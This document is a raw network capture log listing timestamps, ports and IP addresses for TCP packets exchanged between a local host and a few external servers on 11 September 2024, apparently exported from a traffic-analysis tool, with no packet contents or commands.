Sep 11, 2024 16:22:19.090424061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090559006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090564013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090574026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090585947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.090600014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090605021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090606928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.090807915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090815067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090825081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090831041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090835094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.090873003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.090873003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.090928078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090933084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090943098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090949059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.090966940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091027021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091039896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091085911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091090918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091109991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091126919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091206074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091212034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091217041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091221094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091227055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091275930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091275930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091315031 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.091331005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091344118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091348886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091353893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091358900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091362953 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.091365099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091370106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091375113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091379881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091397047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091401100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091408968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091411114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091418028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091423988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091428995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091432095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091447115 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091459036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091464043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091481924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091551065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091551065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091558933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091563940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091569901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091577053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091586113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091588020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091594934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091617107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091629028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091793060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091805935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091815948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091820002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091825962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091836929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091842890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091845989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091849089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091866970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091902971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091908932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091917992 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.091919899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091928005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091931105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091938019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091942072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091948032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091953039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091953993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091965914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091973066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091974020 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.091975927 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.091996908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.091999054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092003107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092015028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092020035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092020035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092034101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092037916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092084885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092089891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092101097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092106104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092109919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092112064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092123985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092123985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092132092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092144012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092159033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092211962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092217922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092227936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092232943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092236042 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092252016 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092277050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092341900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092346907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092358112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092381001 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.092382908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092390060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092401028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.092410088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.093173981 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.110837936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110843897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110855103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110860109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110904932 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.110910892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110920906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110934019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.110965967 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.110997915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.110997915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.111179113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.111247063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.129230976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129237890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129249096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129329920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129336119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129342079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129347086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129512072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129512072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129512072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129709959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129714966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129724979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129729033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129764080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129781961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129786968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129796028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129801035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129806995 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129812002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129817963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129822969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129827976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129832029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129837036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.129858971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.129868984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.130085945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.130142927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.135565042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135571957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135587931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135592937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135605097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135610104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135617018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135627031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.135634899 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.135669947 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.138164043 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138170004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138181925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138242006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.138401031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138412952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138426065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138432026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138441086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138453007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138458967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.138458967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138470888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138478041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.138485909 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.138503075 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.138520956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.139003038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.139012098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.139061928 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.139846087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.139852047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.139864922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.139904976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.140755892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140763044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140774012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140779972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140786886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140815973 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.140837908 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.140861988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140867949 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140873909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140880108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140885115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140892982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.140913010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.140927076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.144905090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.144912004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.144923925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.144959927 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.144964933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.144973040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.144978046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.144985914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.145020008 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.145066977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.145176888 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.146008015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146013975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146025896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146061897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146068096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146075010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146085978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146090984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146111012 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146128893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146459103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146465063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146476030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146481991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146486998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146492958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146498919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146512985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146518946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146522045 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146522999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146537066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146543026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146553993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146574974 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146755934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146763086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146775007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146779060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.146811008 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.146821976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.157299042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157305956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157315969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157354116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157360077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157371998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157375097 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.157375097 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.157378912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157392979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.157396078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.157434940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.157434940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159579039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159643888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159650087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159662008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159663916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159691095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159698963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159706116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159717083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159720898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159744978 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159744978 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159768105 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159790039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159796000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159801006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159806013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159817934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159823895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159825087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159857988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159867048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159892082 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159898996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159926891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159926891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.159987926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.159993887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160003901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160011053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160021067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160027027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160044909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160044909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160068035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160074949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160110950 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160110950 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160135031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160141945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160152912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160157919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160202026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160202026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160234928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160240889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160252094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160258055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160264969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160278082 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160316944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160316944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160361052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160367012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160377979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160382986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160389900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160401106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160407066 CEST	80	49734	147.45.44.104	192.168.2.4
